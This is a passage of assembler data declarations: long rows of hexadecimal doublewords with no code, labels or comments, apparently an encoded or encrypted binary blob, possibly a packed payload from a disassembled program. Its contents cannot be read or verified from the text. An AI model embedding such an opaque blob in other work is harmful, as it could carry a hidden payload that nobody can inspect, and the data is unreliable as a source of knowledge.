		dd 8F2464AAh, 4A7E0525h, 0B126F67h, 9CF1F551h, 0B296D360h
		dd 0B6FFC7AAh, 0B293C7A3h, 0B2937B93h, 7699D3AAh, 0F38033AEh
		dd 35C3CE29h, 0DF96CE0Ah, 0B975C0D6h, 454DB5BAh, 0B293C7A9h
		dd 0C7DAC3EFh, 0B3485FB5h, 3273C7AAh, 6D4D1A77h, 0B293C7ACh
		dd 5590300Bh, 0B293C7B4h, 0B291CDB5h, 2D73C7AAh, 0B295F0B3h
		dd 85FFC7AAh, 0DE2EC7A7h, 1893C7AAh, 8119E43Dh,	26EA7A1Ch
		dd 0B74BE1A6h, 1EA7E4B2h, 0DA2B8A81h, 0A993C7AAh, 885983CEh
		dd 4D76B50Dh, 68526477h, 0C374B67Ah, 0B293C226h, 3B2C47AAh
		dd 0B6C9B809h, 0C813BF0Ah, 0D52ECD41h, 9393C7AAh, 4D624669h
		dd 0A8E4AF4Ch, 0B984799Eh, 2DABB5E0h, 8F11B666h, 0DBCD7077h
		dd 0C393C7AAh, 0B293D51Eh, 12732FAAh, 4F4D18BEh, 0B293C79Eh
		dd 0B2934693h, 7C8FBAAAh, 60A3670Ah, 8D630D11h,	381D161Ah
		dd 0BA7609E6h, 0B293C7AAh, 0F3295660h, 134BB595h, 2B983829h
		dd 744D76A2h, 334DB5F1h, 0B293C79Dh, 0B2947793h, 5A043AAh
		dd 1912942Ch, 894C7659h, 83FDEC1Ch, 0B2A62DEFh,	0AE1EC7AAh
		dd 0DCF228C2h, 6FDD396Dh, 0FBDB96B1h, 0F0340B5Eh, 0B844DDF3h
		dd 0C1CA7082h, 1293C7AAh, 6F1BC9C1h, 0B2CD7097h, 2D93C7AAh
		dd 0B600A231h, 0B293C7B5h, 0B8B3C162h, 3923CBA6h, 43FC4505h
		dd 684F6CBCh, 25EBA5C2h, 8A76A7B1h, 738FFABCh, 0F411B685h
		dd 431870AAh, 0C993C7AAh, 0B2934593h, 0DCAE2FAAh, 2CD8700Bh
		dd 2BBE24DBh, 355206FAh, 4FBDB489h, 5990C043h, 0B293C74Bh
		dd 8113A776h, 230B2130h, 2DB0272Ch, 0CAA69F27h,	0B4FF9693h
		dd 0E8127085h, 1293C7AAh, 855D800Eh, 0E202580Dh, 40FBB810h
		dd 0C394D903h, 0B294891Eh, 9C76A7AAh, 0DB2BAE32h, 0FA93C7AAh
		dd 6CEF0BF6h, 2E49E893h, 2E5FC30Ch, 0B28F4727h,	0B3474BB5h
		dd 5990C7AAh, 0B293C790h, 0B2947093h, 0D8024BAAh, 749F3A40h
		dd 0DC4E5929h, 0BFFB9E0Dh, 0B2948D93h, 0D72CA7AAh, 1793C7AAh
		dd 46EA1F88h, 0CE210147h, 0CAAEA971h, 1AFDB665h, 0D7117077h
		dd 0C393C7AAh, 0B294DC1Eh, 0B2C970AAh, 4F93C7AAh, 207346EBh
		dd 21EBD7C4h, 4B3F9429h, 0B36BD009h, 4190C085h,	0B293C7ABh
		dd 0B296C3B5h, 40FFC7AAh, 0C3964503h, 0B2935A1Eh, 0C22CA7AAh
		dd 4093C7AAh, 6ADE000Eh, 47C7EA81h, 3439EE2Ah, 0B2982E63h
		dd 1E51C7AAh, 1EF89EAFh, 3411B5D7h, 5A4DD99Ch, 0B293C72Eh
		dd 0B28F47B5h, 0C373C7AAh, 0B293C226h, 0F2BDB9AAh, 0CBD3B660h
		dd 0B2947293h, 6D1573AAh, 2D2127B2h, 80E2E2BCh,	1BC9B1ECh
		dd 0ED14709Fh, 1293C7AAh, 5580Eh, 0D8C9B975h, 0D7E0CE0Bh
		dd 0B2A3D00Ah, 46ACC7AAh, 0E7CCAC3Bh, 6FFA6D42h, 7547337Dh
		dd 68E328B1h, 0B573A0EFh, 0B293C2C9h, 0CFD8CC82h, 0D7E0C3EFh
		dd 4D76A782h, 0B64A07EFh, 0B293C7B5h, 8D85302h,	599BFCDh
		dd 0C6EB8044h, 2E189079h, 0B294BA91h, 1BCC2FAAh, 83C9A79Fh
		dd 0B2934C93h, 7C1162AAh, 74E9BF3h, 11FFF946h, 0D7E0CE09h
		dd 0CFDD63EFh, 0B2934593h, 0D4C4F1AAh, 8373392Bh, 12B90CD8h
		dd 69916D57h, 40420828h, 0E82BDA8Fh, 0AC93C7AAh, 16F60F70h
		dd 0B3C0E0C5h, 3411AEE8h, 5990D49Ch, 0B293C79Ah, 0B34A55B5h
		dd 273C7AAh, 2E6E9D63h,	0C573DFA4h, 0A56C2F6Bh,	0B2947193h
		dd 24A106AAh, 7C3F948Eh, 0B07DFB2Fh, 560F8753h,	0C996D658h
		dd 0B400C7C2h, 0D3C97085h, 1293C7AAh, 22622629h, 0D52A53B7h
		dd 9E93C7AAh, 0E781EC49h, 0DE713A25h, 2D1B5CFFh, 0DCF998B6h
		dd 0D9BBB635h, 1293C7AAh, 0B2934491h, 0EAC833AAh, 0D103ED80h
		dd 559DC309h, 8EA921EDh, 0F82B853h, 0C374B684h,	0B293D531h
		dd 3273A7AAh, 0BF75E7E3h, 0D02BA2D1h, 1F93C7AAh, 0AC7452E4h
		dd 0D244512Bh, 0C1E79250h, 0B413CD9Fh, 0BFC97D2Ah, 0B1ABD00Bh
		dd 2EFFC085h, 9C13BF0Ch, 5773AE5Fh, 0C373D36Dh,	0B294D934h
		dd 415956AAh, 7130EDAEh, 130BB5B7h, 0B604E8B3h,	0B293C799h
		dd 869FAD0Fh, 3DC5574h,	0B8DE35F4h, 0B05707BBh,	2E1F3FC1h
		dd 0CE1377E7h, 0C993C7AAh, 0B2A62E5Ah, 70EDC7AAh, 0AE5A3A85h
		dd 63CD2B46h, 8603AB3h,	1E5D3F31h, 0B2922D0Ch, 0A8E3C7AAh
		dd 0B984799Eh, 2DABB5E0h, 0B6503266h, 0B293C7B0h, 0AC468B9h
		dd 59E4DB93h, 1EDDC43Fh, 386480B3h, 444D8609h, 0B293C7A7h
		dd 0BA76C00Ah, 0B293C7AAh, 0B7295660h, 0B64BB578h, 0B293C7A6h
		dd 182E00AEh, 36CE6CCAh, 600E964Ch, 0B2934391h,	845DAEAAh
		dd 0F3231161h, 2A3A830Fh, 0ECCC77DDh, 1293C7AAh, 0B293CDB3h
		dd 0CDC3C7AAh, 0D618F40Bh, 0B64BB8D0h, 0B293C7B4h, 0B675FBCFh
		dd 0E20FA70Fh, 836FAA44h
		dd 0C372E703h, 0B293D431h, 0B8C9B9AAh, 2EBCB682h, 1293C7ACh
		dd 0B292F1B3h, 0BA76C7AAh, 0B294D926h, 0B2924BB5h, 68FEC7AAh
		dd 744DA7AFh, 2DBC9BDAh, 0BA72963Fh, 0B293C79Bh, 0E9BEB8Ah
		dd 0F9C02434h, 453E4C2Fh, 0C98FB4EFh, 0B3493AF1h, 63EBC7AAh
		dd 0CE2D85C6h, 31FA3B35h, 0B573BC63h, 0B293C20Fh, 0CE8CD483h
		dd 0B2934C93h, 0DCFB88AAh, 60C58D99h, 0C934850Bh, 448F9641h
		dd 0B293C2EDh, 0B2937B93h, 68FC37AAh, 0ACAAE224h, 0CE8D37A6h
		dd 4ECBB081h, 81D8A596h, 0C28CD6F9h, 0C4531C82h, 0B2946D28h
		dd 12EDEAAh, 0C393C7ABh, 0B2946129h, 0EB0F70AAh, 0B593C7AAh
		dd 0B293C799h, 0A58BC80Ch, 2BD903E4h, 0EC9EE126h, 9E798288h
		dd 0B5A2C261h, 0B293C222h, 5776B50Ah, 0B34E2DD9h, 0E26AC7AAh
		dd 2D5B2299h, 2DA0A176h, 0D2085657h, 25A3B886h,	0B285D009h
		dd 0C973C7AAh, 0C318F40Bh, 0C44BB473h, 0B293D62Ah, 90002FAAh
		dd 0B2934493h, 812781AAh, 0DC577C9Ah, 4B2274D5h, 0B6BED9BAh
		dd 0AC63BB67h, 0B2941893h, 0CECE70AAh, 0CA93C7AAh, 0B2A058B5h
		dd 0E92EC7AAh, 2D93C7AAh, 3E290C76h, 0BD1ECFBBh, 3567A087h
		dd 0F118F265h, 0C44BB466h, 0B2934F28h, 0AE14A7AAh, 0B2923ABDh
		dd 0B159C7AAh, 30F57B07h, 9BB1A0D8h, 2BD9D5CBh,	0CA64C209h
		dd 1EFCA761h, 0B6DBB661h, 0B293C798h, 235C8454h, 4916030Bh
		dd 616A623Bh, 6C97D95Bh, 0C4DBC02Ch, 0B294DA1Eh, 0C51670AAh
		dd 1293C7AAh, 0D52D9609h, 0F893C7AAh, 9F938C30h, 221BD130h
		dd 0EF4232B0h, 4564B2BDh, 0B6FB8A8Ch, 0B293C78Eh, 30138E77h
		dd 2E14589h, 3F00C912h,	7C806776h, 0CC482ADFh, 7D732331h
		dd 2EFCB516h, 0B2932D09h, 4ED9C7AAh, 25064592h,	0EBCE70B1h
		dd 0B593C7AAh, 0B293C799h, 96537B1Fh, 2C525245h, 6939472h
		dd 6D0BDB1Fh, 0C44048FDh, 0B294D829h, 38E5A7AAh, 2E5DCE0Eh
		dd 0D510720Ch, 0C393C7AAh, 0B2934333h, 3A982EAAh, 6237633Ah
		dd 4AD908AAh, 5DEA56BDh, 4C7D1C60h, 3AC67DBCh, 0DA8033Ah
		dd 0DFA872E5h, 0E57F7BFDh, 3AC5632Dh, 3AC15645h, 6560633Ah
		dd 72C5633Ah, 0D1127314h, 3BC72363h, 4BCA6AF1h,	3AC6C4AEh
		dd 585D033Ah, 22C5633Ah, 0BEF1F44Fh, 0AF943471h, 82D1156Bh
		dd 0A02CDF76h, 0DFA5CD46h, 0DFA5E7FDh, 0CE25F169h, 0A614DA88h
		dd 4BCABCC1h, 3AC572C3h, 4BA57A3Ah, 3AC678B6h, 3B44D43Ah
		dd 98C5633Ah, 3AC5FE43h, 0A612633Ah, 4BD6BEBFh,	3AC572C3h
		dd 9400773Ah, 91FE7A37h, 3ACC8A1Fh, 686633Ah, 0DDB9ACF8h
		dd 0C5A6D3FBh, 0BFF8D476h, 4DA51CA5h, 6245D383h, 3DC5633Ah
		dd 3AC5632Ah, 0C0C1017Ah, 59080C9Fh, 0B95F49F2h, 25B61C58h
		dd 42C6D678h, 3B7AFE45h, 4960633Ah, 14C5633Ah, 0E765987Ch
		dd 92D03EFh, 9A73CDB0h,	3DA6BC41h, 3AC56340h, 0C67C2464h
		dd 91D9F1C8h, 5E5DDEC3h, 72C5633Ah, 5A7B52FDh, 0B4A1D0AAh
		dd 0B7CC0999h, 42305B2Bh, 52DB4E15h, 545CEAE7h,	70C5633Ah
		dd 3C1338CBh, 0D2434CBDh, 5DA60D27h, 3AC67C23h,	0CF68DF3Ah
		dd 4CCDF361h, 3AC4FE45h, 3C3C633Ah, 52FBD36Ah, 9AC5633Ah
		dd 10A81C9Ch, 9AA517ECh, 9B306A9Eh, 3E3E6A9Eh, 3AC5632Ah
		dd 0D1CAA6B0h, 0A193BE39h, 453C713Dh, 2EFD0E91h, 4C141C9Bh
		dd 3AC67BAEh, 0C5A8033Ah, 0A6535B22h, 0FFF069C5h, 3DA6D49Ah
		dd 3AC56343h, 0C4E1D41Dh, 4B666800h, 0AF1B25CFh, 95A507FCh
		dd 3AC6FE43h, 0C8C2633Ah, 3AC56339h, 4C956413h,	3AC572C0h
		dd 4C0B8B3Ah, 3AC571B7h, 0CD448E3Ah, 5DA24751h,	3AC86A45h
		dd 4C3C633Ah, 9AC2A64Dh, 8BFA93BFh, 428D6A99h, 2A803E8h
		dd 0A6316992h, 3AC5E121h, 4EA8EE3Ah, 179C43F2h,	8BA00C99h
		dd 5E421C3Ah, 4C517573h, 3AC78ACBh, 622633Ah, 0CCB84F7Ch
		dd 0C5A803F2h, 0C59B4C6Bh, 75E7BE07h, 7C312E1h,	2D5BFC9Bh
		dd 0C5AC4ED6h, 0E34D1323h, 0DE2E1C94h, 99D362BAh, 3B7B8A41h
		dd 3AB7633Ah, 32756B72h, 0CE0794B0h, 4C151199h,	3AC563C2h
		dd 1D45193Ah, 5EDF7733h, 495F329Bh, 0DFC5633Ah,	0F02BA8D6h
		dd 0CA7F214Ch, 3AC5633Bh, 0C451B9Ah, 9CA7359Ch,	0E9EF2C9Ch
		dd 0AE088C4Bh, 0A6876A9Eh, 3AC56324h, 4545193Ah, 5DA38B47h
		dd 4645D69Ah, 4EC5633Ah, 3AC67C23h, 0E526EA3Ah,	94652AA2h
		dd 5649D69Ch, 3DC5633Ah, 3AC56336h, 0F384917Eh,	368448E4h
		dd 4C7CA815h, 0DFA62C7Fh, 3B7F9E82h, 9409633Ah,	0CD9F60E8h
		dd 0CEA49A3h, 4F5AF634h, 0A60E05E8h, 5D54F1BFh,	0E17EEAE7h
		dd 3AC56339h, 0A0A3397Fh, 9AA6B17Eh, 0FA0C8AB9h, 0C5A4F78Fh
		dd 34D0683h, 442D12F0h,	3AC78A1Bh, 0E8B5633Ah, 8DBA4EF2h
		dd 0BAA61914h, 4BA62D1Dh, 3AC563C3h, 62DF253Ah,	0A5A4EB83h
		dd 3AC76A43h, 0DFA5633Ah, 0A5A50672h, 3B76BA3Dh, 4BA58B3Ah
		dd 3AC67DC2h, 9086F23Ah, 4BAF2B45h, 3AC67DB6h, 30451D3Ah
		dd 71A88C24h, 0BC326415h, 3AD0F043h, 0A8A5633Ah, 586085BFh
		dd 0F7C5633Ah, 931D70A5h, 2CA0D92Dh, 0F7FB0F13h, 0D7EA3804h
		dd 0DDA52E75h, 99D362BAh, 5341D441h, 4BC5633Ah,	3AC571C3h
		dd 0B4A5033Ah, 3AC5E821h, 4B0C873Ah, 5FA8CEADh,	0FC1DC71Eh
		dd 545D03F4h, 17C5633Ah, 39981857h, 97A5F16Bh, 41A512F6h
		dd 5200D379h, 9AC5633Ah, 0A6976814h, 616077E9h,	0E5C5633Ah
		dd 0F52DD3FBh, 361E8CCEh, 81563B8Ah, 535D1F9Ch,	7EC5633Ah
		dd 0B7E09F64h, 33607401h, 3AC5633Ah, 4B5BF2F0h,	3E7D1113h
		dd 3AC5631Eh, 0D72B2F9h, 4C7E7692h, 0B74C343Bh,	0EFB71619h
		dd 63A700F3h, 3AC5E123h, 192FDD3Ah, 5BDFDDF7h, 346A71C5h
		dd 0C8DF7082h, 0E0804E18h, 0D2C27A84h, 3AC56338h, 3AC7F245h
		dd 0E4C2633Ah, 3AC5633Ch, 3C30B722h, 3AC18A15h,	7A36633Ah
		dd 0F144B390h, 5F020D7Bh, 1D7310C8h, 3E81429Ah,	3AC5632Ah
		dd 3A93DFFBh, 0C3683344h, 1F56DFF0h, 0D277BDFAh, 3E388E99h
		dd 3AC56345h, 0E6DDF915h, 0C6996197h, 0E48B48FFh, 0E057F9ABh
		dd 5F5D067Ah, 0C5633Ah,	1181BCC1h, 0C8F4230Fh, 0DF25106h
		dd 0B827B0BBh, 0AE321799h, 32A43011h, 3AC56329h, 0E307E822h
		dd 35148EDh, 0AFB65FADh, 30F811FAh, 0A9165C80h,	4CA5ABB9h
		dd 615D12F5h, 6BC5633Ah, 0CBD5BAB9h, 7B0AAC90h,	730F29E1h
		dd 4C856812h, 3AC5EDC2h, 3AD88A3Ah, 7D8B633Ah, 0C74C9A0Bh
		dd 0C2BB7472h, 2AC0AFD2h, 0E00916C5h, 5742D37Ch, 3DC5633Ah
		dd 3AC56345h, 6611C6EAh, 4916A6DBh, 9538D152h, 0C9E49F69h
		dd 0ACF010BDh, 4642D441h, 4DC5633Ah, 4C609315h,	7BC5633Ah
		dd 3BABCC9Eh, 0CEC1041Fh, 0B43B4C89h, 0DFA636D1h, 4B5E0679h
		dd 73C5633Ah, 2A7AFD6Ch, 0BCEA297Ch, 861B918Ah,	0BB423CD0h
		dd 0A60E470Ah, 4450FEC5h, 4DA6D498h, 0D1FD1213h, 5E10E75Dh
		dd 334B5613h, 9B7D1112h, 0AE4240EBh, 3D9D93B9h,	0DDA5CE5Bh
		dd 99C81ABDh, 3AED8E41h, 3DC5633Ah, 3AC5631Eh, 0C2F17E89h
		dd 0A31F237Bh, 0F7F262FBh, 0A25BFB48h, 9E947BBDh, 0C6C1233Fh
		dd 3AC572EFh, 824B387Fh, 997D06C9h, 3AC5E721h, 0EA520E3Ah
		dd 86F4E061h, 871465D6h, 6B8F1BF2h, 3C2C496Fh, 9A7DEEBFh
		dd 4A00D441h, 3DC5633Ah, 3AC56342h, 8EDF1623h, 8D11F60Bh
		dd 3AD9899Bh, 92B2633Ah, 396937Eh, 516BE911h, 5211DA28h
		dd 3AD53E35h, 565C5BB5h, 0F6C5633Ah, 0D71674B5h, 28EF69Eh
		dd 721CD7D6h, 0E6DC91C8h, 0C9A519F4h, 9AB7E0BDh, 4649D441h
		dd 42C5633Ah, 0E0C29315h
		dd 3AC56331h, 3AC5DF23h, 10CD783Ah, 951C0844h, 8DE593B5h
		dd 4B4B36FBh, 8C8BE0EDh, 14A62196h, 0B1A6328Eh,	0A6108BECh
		dd 67CB56C5h, 585CEAE7h, 8DC5633Ah, 33D39FCDh, 56050077h
		dd 0F0C2711Dh, 4CC03742h, 9B175E0Ch, 416C98B9h,	0CBEF17DFh
		dd 0A5B152A5h, 0BAA67DA2h, 5E5E2C73h, 9FC5633Ah, 6E3B476Fh
		dd 1D822AD4h, 3AC5FB45h, 0A60F633Ah, 3AD571A4h,	3B7F8A3Ah
		dd 0DDDC633Ah, 943DF87Ah, 8D694C3Ch, 0EFB7604Dh, 75074E13h
		dd 0FBA5EAE7h, 9E71696Ah, 3BA517C0h, 0BB7F066Ah, 3AC5633Ah
		dd 0BAC293C1h, 3AC5633Eh, 0AA5392BBh, 0DFA52929h, 99CCB155h
		dd 4BA60341h, 3AC566AEh, 30FB1D3Ah, 8FB1B9Bh, 8EB2729Ch
		dd 4386F213h, 41C5633Ah, 5B6ABB7Dh, 9AA5633Ah, 2067A0B9h
		dd 0C9A5D5FFh, 9A7EEDB5h, 47FE8B41h, 3AC5EA23h,	0B576DD3Ah
		dd 4A78E1B3h, 0FB7EADA0h, 3B17EF46h, 3DA5633Ah,	3AC56329h
		dd 0EB9857BCh, 119282h,	60DD7251h, 6396DB8Eh, 9ADFF787h
		dd 0A63097C2h, 4BC56A99h, 3AC5EAB7h, 3ACA8A3Ah,	0D480633Ah
		dd 9DB2ADE9h, 47066A07h, 3AC5DF23h, 0BDC7043Ah,	0B9182F3h
		dd 0EC251D4h, 0F3FEABEFh, 0FAFE34BBh, 45FFD351h, 4EC5633Ah
		dd 68018853h, 0F443563Ah, 0C57D1115h, 485E203Ch, 5AC5633Ah
		dd 0DE0D30F1h, 0C5CACFE8h, 58CACFF0h, 87C5633Ah, 1A8C30EAh
		dd 29F46A35h, 0DE7D0642h, 9A7DDAC5h, 8AC60941h,	3AC57024h
		dd 80EC33Ah, 67096AF3h,	6709F22Eh, 3AC6D72Eh, 816A33Ah
		dd 84C40BB9h, 0F2F0CA26h, 0D2546AD7h, 147D0633h, 99D329B0h
		dd 3AA27341h, 95C6093Ah, 3AC57024h, 80DC33Ah, 67016AF4h
		dd 6709F22Eh, 3AC5DF2Eh, 815B23Ah, 475BF234h, 14024990h
		dd 99DC79B0h, 3AC56341h, 0C9FB033Ah, 5E11C445h,	56C86E39h
		dd 3BA4EAE7h, 99CDAABFh, 0A3C60941h, 3AC57024h,	80FC33Ah
		dd 66B16AF6h, 6709F22Eh, 3AC5EC2Eh, 817BC3Ah, 0E73FB1EDh
		dd 666B46C1h, 0A8A5EAE7h, 4C769851h, 3AC66FC5h,	0A7EB1D3Ah
		dd 0E22F1169h, 5E11D1F1h, 331571A0h, 3AC56339h,	0A3832BDAh
		dd 476AAFC1h, 476AAFBBh, 3AC56331h, 4F8313FAh, 7E3F3140h
		dd 4C51CEDBh, 3AC570C4h, 4FF7D43Ah, 0E23271A0h,	5E10E149h
		dd 375D23C1h, 0CB27A63Eh, 0FC48C88h, 63F60C60h,	3BF0F9D0h
		dd 0D0BA0C9Ah, 63CA6312h, 0CF693EAAh, 51546EC7h, 0BCB37F79h
		dd 0E788DCD4h, 0F5936762h, 8F6FE2DAh, 3BF0E8E8h, 2E6C6C49h
		dd 0B8F0F9EFh, 0ED857F66h, 0BCBED1CAh, 38CC1A6Eh, 0BCBE2ABEh
		dd 38CBF38Eh, 1BE63A60h, 0D163C0D1h, 0D0C47A34h, 0FAEB3D2Bh
		dd 0F50C00C5h, 0D188DCD1h, 447C7433h, 6ABA0EBDh, 36C12948h
		dd 0ED8D4B54h, 5706D0CAh, 0AD08C2D6h, 38CC0ED2h, 3BEF6C60h
		dd 0D581F9E3h, 3BF0F9D1h, 292E3CF0h, 44E800BCh,	2DF0F9E3h
		dd 3DF2D7F7h, 1C0364C8h, 0ACE800BCh, 58F1FEE4h,	0FD5342BFh
		dd 8CC33D20h, 0D201B00Ah, 0D238DC7Ah, 30D3A4A9h, 25DE62E8h
		dd 1DBAA057h, 0D27DA057h, 1978A4A9h, 3B1CCE8h, 0C7442F7Bh
		dd 285E6B58h, 0DF303D32h, 0F1BCAF70h, 0B32D7532h, 0E082AF70h
		dd 0F133A4A9h, 2F42BC15h, 5FF755B8h, 52F05F0Ah,	0DF062972h
		dd 0D2335FCDh, 69BEB90Fh, 0D233A4A8h, 1AFC6B49h, 0DDD65232h
		dd 0DDD6FA2Ch, 0D233B9C4h, 84FB5378h, 645289F5h, 0AF1CBECDh
		dd 0E4902406h, 0D233AF70h, 0D201A4A9h, 0D238DC7Ah, 30D3A4A9h
		dd 25DE62E8h, 1DBAA057h, 0D22BA057h, 1978A4A9h,	207F22E8h
		dd 47109A20h, 46E8B404h, 5EC6BDF5h, 0B01CBDA9h,	0A9D1769Eh
		dd 0E50AF70h, 8D7BED12h, 1AD96107h, 0A6E42FB2h,	0EC5E6BAAh
		dd 36FECDA9h, 615E6CBAh, 0B027D2EBh, 0ECEB1593h, 0D9976C00h
		dd 0A8315C1Bh, 406BEAA0h, 9B5F436Ah, 0A6EACFF7h, 0EB25DB7Ah
		dd 0D9F81B51h, 0CB9F6C43h, 0B0D99AD2h, 0E4B8C98Fh, 0F581A0C2h
		dd 0F015E392h, 17787086h, 0F24BB3CDh, 0D61EB8F4h, 779EC246h
		dd 71E30FDCh, 75BA2CB8h, 0F90AFF6Ch, 571CDF62h,	48E9D3ADh
		dd 0E7D8187Ch, 2546C4C5h, 0BA26C207h, 254047A5h, 0Ch dup(2541C207h)
		dd 20BDC507h, 0AF9C207h, 0C25C5F06h, 2002365Ah,	2C43368Fh
		dd 929CC52Eh, 0E3F9C20Eh, 0C25C5F13h, 200233C6h, 0D981BD05h
		dd 8F0EB9Ah, 0CB97A3E9h, 18D6D490h, 117DA1A7h, 8AA8A58Ch
		dd 3A745F67h, 9EBE5A66h, 55075383h, 0B8C4567h, 0BA993CA9h
		dd 3EBFC9E5h, 0BBC39751h, 0DF93B7F2h, 0CBD31FABh, 0A11C2BBBh
		dd 0CBD23855h, 0CF50A167h, 43425504h, 37DDFC8Ch, 8BB21ED4h
		dd 0C98278A7h, 0A6B1B6CAh, 68BBAC57h, 0B27BE2D9h, 2541CEFBh
		dd 0A1313792h, 6E145684h, 1FD07DFh, 6DAEDEF6h, 0A0D007DFh
		dd 762DC565h, 668CD1C9h, 370969CDh, 6C73C21Dh, 0FB4DAE1Dh
		dd 0AC8862DAh, 4829F131h, 0F429B501h, 6288513Eh, 0FBA03470h
		dd 5B1231E5h, 150A2A83h, 0E7F13A2Dh, 20731D0Eh,	0D0D1CE9Eh
		dd 7172EA1Ah, 712069C6h, 6CAF578h, 0A13498D8h, 0CD84221h
		dd 5C5CBFB3h, 0C903671Dh, 37038C50h, 0A258D561h, 58F5FC8h
		dd 0C3FAC7E8h, 0B5E6FC72h, 0E2A9F30Bh, 0CA757EBDh, 836F16BDh
		dd 0F4570782h, 84397003h, 0D849D7E5h, 5C528726h, 0CE39854Dh
		dd 0D71FD00Dh, 1DD1EC92h, 0CF1D76D2h, 0C54A849h, 6AC9C207h
		dd 0EECFFF49h, 6934A693h, 0E26A0953h, 0A637C2B0h, 0E557E67Ch
		dd 5434A8B6h, 20CD71A8h, 880AC4Fh, 15DA66ADh, 0EB085735h
		dd 66B1C801h, 5898BC4Fh, 0BC7C1198h, 6DABDBEEh,	7F7CBCDFh
		dd 0D763F365h, 0F0ED8EBBh, 0ABA57FB9h, 2181DC5Ch, 11412804h
		dd 4608E59h, 6B7CBC13h,	6E37341Dh, 22EA0D4Ch, 0CAC2032Ch
		dd 5AB6EAA7h, 0C8302C30h, 24FE9F76h, 0A9898B07h, 0C7F6C105h
		dd 0C9D07B91h, 1426EBFBh, 0DB7FD68Bh, 833220F4h, 0BF9A77AAh
		dd 0F13EC799h, 0BF9A77ACh, 293DB49Ah, 623F4D45h, 0DA621D0Ah
		dd 3D92E68Ch, 347180E1h, 668C0F09h, 62EA3131h, 0E9E01D0Ah
		dd 0AA358ABDh, 0C335EC09h, 0BA9AAE94h, 6B5322E5h, 800C76B1h
		dd 0A9866174h, 0C4B707D2h, 0BBCE2816h, 0B3F583A2h, 87DA801Ch
		dd 0F741C207h, 4105854Fh, 4829EFADh, 64FFAF39h,	4F0B5423h
		dd 248144CEh, 0FC475EB2h, 75ECCFE5h, 0C3AAB11Dh, 278928BBh
		dd 69E264B0h, 7220D24Bh, 0EDB1C712h, 3022DA8Ch,	7527153Fh
		dd 8CE012E4h, 47694A7Ch, 0D47BEB9Bh, 2541CDC7h,	3D92E530h
		dd 6DF280E1h, 336B1EE4h, 0B4E693Ah, 0CCCA965Dh,	0DC7B524h
		dd 1509FA83h, 8BF2604Ch, 1EC621DBh, 0A1EA6A8Eh,	1F5F4691h
		dd 0DE610F47h, 254492DCh, 83C64D07h, 1D35CF5Ch,	7C3121D3h
		dd 0FD49A9B4h, 97BA50DDh, 0FCFA3B6Ah, 0CB49FDDh, 5F4255F7h
		dd 97DDFB38h, 57A8A145h, 0FBAF920Ah, 97796148h,	1BC8FA60h
		dd 5DB9187Eh, 0B6FF29B5h, 0C12B706Fh, 9574F664h, 575D1880h
		dd 0EF3C0792h, 0DC63BFh, 0E8B90135h, 12D9165h, 0C4358ABEh
		dd 10A0D2B0h, 6455BDEAh, 4641C206h, 629A440Eh, 930A537Eh
		dd 74BC4A19h, 381A0237h, 88714C73h, 2D9615EFh, 0FEAB18B3h
		dd 0FFFEB750h, 0DABF0A9h, 34184B5Ah, 1503E578h,	0D32EA63Fh
		dd 484A875Ch, 11F820Fh,	7ABE0510h, 6830D5DAh, 2C8AFACDh
		dd 70A9417Dh, 0EA397317h, 0BAED3C23h, 77442B97h, 0BFB94D6Fh
		dd 0F32C0B1Ah, 0A318DF7Dh, 0CCFA2B33h, 48267BD7h, 1A6531ADh
		dd 3123F0FDh, 0A4C88450h, 37E94870h, 91387F62h,	0BC89DA26h
		dd 0ADE76ACFh, 4826C698h, 3E17C720h, 0FBAEAB00h, 32038C4Fh
		dd 9668A439h, 13B1C7D9h
		dd 0B7489A22h, 5AB1C7D9h, 62DCFBD4h, 150A0457h,	0C7669739h
		dd 0E2666E11h, 74D5812Bh, 9CDF5CFAh, 6B530D7Dh,	3D59DB4h
		dd 0D870A2Eh, 8CD07CADh, 25403364h, 0CD2ABA07h,	5AFE56A5h
		dd 66B2E1D4h, 657C0576h, 55F91C8Bh, 7A5FA243h, 6F5D71BAh
		dd 0A0ABC8DCh, 0CAC214DDh, 0DA314DA7h, 0F3B64279h, 62209DCEh
		dd 86249857h, 0B55B6D25h, 465B4013h, 0E3DAD30Eh, 5128D1D5h
		dd 4C786945h, 9D1C9367h, 0B417D57Fh, 7B5F3C3h, 6877F915h
		dd 84C39751h, 29BF4C19h, 0D682BEE9h, 0CEFEE99h,	2541B135h
		dd 94DD4407h, 0D59E34A2h, 68717983h, 80C7D8C6h,	1927D24Bh
		dd 6C60B0FCh, 1728C764h, 8522B2EEh, 1723DE57h, 6A22B2EEh
		dd 182AC956h, 6C21B1FDh, 3CA9C764h, 2541C862h, 0A1B50CAEh
		dd 21014C1Ah, 8C41C207h, 48D6B922h, 972746DBh, 21174C1Ch
		dd 8A41C207h, 2541B924h, 0AF4B07h, 14724F2h, 2543BE9Eh
		dd 11F2507h, 0F8F745EBh, 48DA27AEh, 21143FDBh, 0F8966486h
		dd 0B7C3442Bh, 0CF275Ah, 30CADC89h, 12D816D6h, 446445F1h
		dd 0D8C207h, 1543FDAh, 91F9673Ah, 0A241CBA2h, 4BCE19C9h
		dd 145B32Fh, 21144EEFh,	5AB509BCh, 0CB7FEEAEh, 2541C239h
		dd 98587994h, 0B75D19C9h, 2002334Ah, 53C91E6Ah,	0C5C5F3Bh
		dd 2361C17Ah, 21B1ADECh, 0E98BA75Dh, 0A3E29762h, 45EEE328h
		dd 9B3D6795h, 0FC4402C9h, 3227891Dh, 3CACB261h,	6C8E4B5Ah
		dd 6093B068h, 25816ECEh, 0EEB117C7h, 2B545339h,	6DB49F2Eh
		dd 7AA27019h, 0E7F25349h, 0D3C2C01h, 0A95AA78Fh, 92ABBFB3h
		dd 0A48FE0E5h, 0FF5D9C94h, 0B8DBCF13h, 0B2E41845h, 0FD9B40B6h
		dd 0F92014E6h, 0A5F4B24Ch, 0FFE7495Dh, 9B82EB7Ah, 24B1C7B6h
		dd 89E0BD5Fh, 0BD1E4C4Dh, 2541C23Ah, 0D0AC247Fh, 2C837570h
		dd 33CBADBFh, 0CBC35657h, 25416BB3h, 0ED6C3BFh,	970B0089h
		dd 1BFF257Ch, 0B4C76BE9h, 0CFC46192h, 0EA0D151Bh, 0F3376488h
		dd 0B1C05B88h, 0FE714D34h, 9F89CCB0h, 129DD777h, 1BFF2527h
		dd 2541BE0Fh, 9347CE07h, 0FBD4A300h, 3124F04h, 267C4544h
		dd 1485D171h, 331A9B41h, 96587186h, 0B6C215C1h,	0B25D8039h
		dd 6C353D5h, 1FBD966Ch,	20203940h, 0A4AFC210h, 632717FAh
